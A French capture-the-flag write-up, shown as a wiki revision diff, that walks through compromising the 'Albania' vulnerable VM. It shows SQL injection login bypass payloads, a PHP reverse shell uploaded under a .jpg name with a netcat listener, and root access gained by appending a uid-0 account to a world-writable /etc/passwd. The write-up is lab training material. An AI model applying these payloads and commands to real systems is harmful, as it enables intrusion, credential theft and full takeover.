Ci-dessous, les différences entre deux révisions de la page.
— |
vm:albania [2017/03/22 14:28] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **Albania - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code BASH> | ||
+ | nmap -sS -A 192.168.43.198 | ||
+ | |||
+ | |||
+ | Deux ports ouverts : | ||
+ | 8008 => un web | ||
+ | 22 => openssh | ||
+ | |||
+ | </code> | ||
+ | |||
+ | __Exploitation Web__ | ||
+ | |||
+ | Dans le fichier robots.txt on a : | ||
+ | |||
+ | <file txt robots.txt> | ||
+ | Disallow: /rkfpuzrahngvat/ | ||
+ | Disallow: /slgqvasbiohwbu/ | ||
+ | Disallow: /tmhrwbtcjpixcv/ | ||
+ | Disallow: /vojtydvelrkzex/ | ||
+ | Disallow: /wpkuzewfmslafy/ | ||
+ | Disallow: /xqlvafxgntmbgz/ | ||
+ | Disallow: /yrmwbgyhouncha/ | ||
+ | Disallow: /zsnxchzipvodib/ | ||
+ | Disallow: /atoydiajqwpejc/ | ||
+ | Disallow: /bupzejbkrxqfkd/ | ||
+ | Disallow: /cvqafkclsyrgle/ | ||
+ | Disallow: /unisxcudkqjydw/ | ||
+ | Disallow: /dwrbgldmtzshmf/ | ||
+ | Disallow: /exschmenuating/ | ||
+ | Disallow: /fytdinfovbujoh/ | ||
+ | Disallow: /gzuejogpwcvkpi/ | ||
+ | Disallow: /havfkphqxdwlqj/ | ||
+ | Disallow: /ibwglqiryexmrk/ | ||
+ | Disallow: /jcxhmrjszfynsl/ | ||
+ | Disallow: /kdyinsktagzotm/ | ||
+ | Disallow: /lezjotlubhapun/ | ||
+ | Disallow: /mfakpumvcibqvo/ | ||
+ | Disallow: /ngblqvnwdjcrwp/ | ||
+ | Disallow: /ohcmrwoxekdsxq/ | ||
+ | Disallow: /pidnsxpyfletyr/ | ||
+ | Disallow: /qjeotyqzgmfuzs/ | ||
+ | |||
+ | </file> | ||
+ | |||
+ | On retrouve la même image dans tous les dossiers : | ||
+ | |||
+ | {{ :vm:folder.png?nolink&300 |}} | ||
+ | |||
+ | La phrase : | ||
+ | <code>a eshte kjo direktoria e duhur apo po harxhoj kohen kot</code> | ||
+ | |||
+ | Joliment traduit de l'albanais donne : | ||
+ | <code> | ||
+ | Est-ce un répertoire approprié ou sont Jerk | ||
+ | </code> | ||
+ | |||
+ | Ça nous aide pas bien plus. | ||
+ | |||
+ | Seul un dossier nous renvoie une information différente : | ||
+ | <code> | ||
+ | http://192.168.43.198:8008/unisxcudkqjydw/ | ||
+ | </code> | ||
+ | |||
+ | <code> | ||
+ | IS there any /vulnbank/ in there ??? | ||
+ | </code> | ||
+ | |||
+ | On test le dossier vulnbank : | ||
+ | <code> | ||
+ | http://192.168.43.198:8008/unisxcudkqjydw/vulnbank/ | ||
+ | |||
+ | Dedans un dossier client qui contient un login.php | ||
+ | |||
+ | http://192.168.43.198:8008/unisxcudkqjydw/vulnbank/client/login.php | ||
+ | </code> | ||
+ | |||
+ | Nous obtenons ce-ci : | ||
+ | {{ :vm:vulnbank.png?nolink&600 |}} | ||
+ | |||
+ | Nous tentons de détecter les erreurs sur l'authentification : | ||
+ | |||
+ | <code> | ||
+ | username=a'#&password=admin | ||
+ | </code> | ||
+ | |||
+ | Une erreur SQL est retourné : | ||
+ | |||
+ | {{ :vm:sqli.png?nolink&600 |}} | ||
+ | |||
+ | Nous bypassons l'authentification grâce aux identifiants suivant : | ||
+ | |||
+ | <code> | ||
+ | username=a' || 1=1#&password=admin | ||
+ | </code> | ||
+ | |||
+ | Gagné : | ||
+ | {{ :vm:vulnbank2.png?nolink&600 |}} | ||
+ | |||
+ | |||
+ | Dans le ticket on peux uploader un fichier jpg | ||
+ | |||
+ | On va uploader un [[http://pentestmonkey.net/tools/web-shells/php-reverse-shell | php-reverse-shell]]. | ||
+ | |||
+ | Pour cela il faut renommer notre fichier de php-reverse-shell.php en php-reverse-shell.php.jpg. | ||
+ | |||
+ | <code BASH> | ||
+ | mv php-reverse-shell.php php-reverse-shell.php.jpg | ||
+ | </code> | ||
+ | |||
+ | On ouvre un netcat en local en écoute sur le port 1234 : | ||
+ | <code BASH> | ||
+ | nc -lvp 1234 | ||
+ | </code> | ||
+ | |||
+ | Il suffit d'aller consulter notre ticket pour déclencher le contenu de notre reverse-shell-php. | ||
+ | |||
+ | {{ :vm:netcat.png?nolink |}} | ||
+ | |||
+ | On va tout d'abord obtenir un pty : | ||
+ | |||
+ | <code BASH> | ||
+ | script /tmp/test -c /bin/bash | ||
+ | </code> | ||
+ | |||
+ | __Exploitation système & Élévation de privilège__ | ||
+ | |||
+ | On affiche le contenu du fichier /var/www/html/unisxcudkqjydw/vulnbank/client/config.php | ||
+ | |||
+ | <file php config.php> | ||
+ | $db_host = "127.0.0.1"; | ||
+ | $db_name = "bank_database"; | ||
+ | $db_user = "root"; | ||
+ | $db_password = "NuCiGoGo321"; | ||
+ | </file> | ||
+ | |||
+ | En cherchant un peu on trouve un problème de droit sur le /etc/passwd | ||
+ | |||
+ | Celui-ci autorise l'écriture par tous. | ||
+ | <code BASH> | ||
+ | ls -lash /etc/passwd | ||
+ | |||
+ | -rw-r--rw- 1 root root 1.7K Nov 23 14:46 /etc/passwd | ||
+ | </code> | ||
+ | |||
+ | On va générer un mot de passe que l'on connaît pour l'insérer dans le /etc/passwd : | ||
+ | |||
+ | <code BASH> | ||
+ | openssl passwd -1 | ||
+ | Password: <= test | ||
+ | Verifying - Password: | ||
+ | $1$VbI7ntUd$eDTm1LmJpKATPXCHNlx2g. | ||
+ | </code> | ||
+ | |||
+ | On l'insère à la fin de notre /etc/passwd : | ||
+ | <code BASH> | ||
+ | echo 'ark:$1$VbI7ntUd$eDTm1LmJpKATPXCHNlx2g.:0:0:root:/root:/bin/bash' >> /etc/passwd | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:root.png?nolink |}} | ||
+ | |||
+ | <code bash> | ||
+ | id | ||
+ | |||
+ | uid=0(root) gid=0(root) groups=0(root) | ||
+ | </code> | ||
+ | |||
+ | On récupère le flag: | ||
+ | |||
+ | <code bash> | ||
+ | root@hackday:~# cat flag.txt | ||
+ | cat flag.txt | ||
+ | Urime, | ||
+ | Tani nis raportin! | ||
+ | |||
+ | d5ed38fdbf28bc4e58be142cf5a17cf5 | ||
+ | </code> | ||
+ | |||
+ | Merci à l'auteur de la machine. |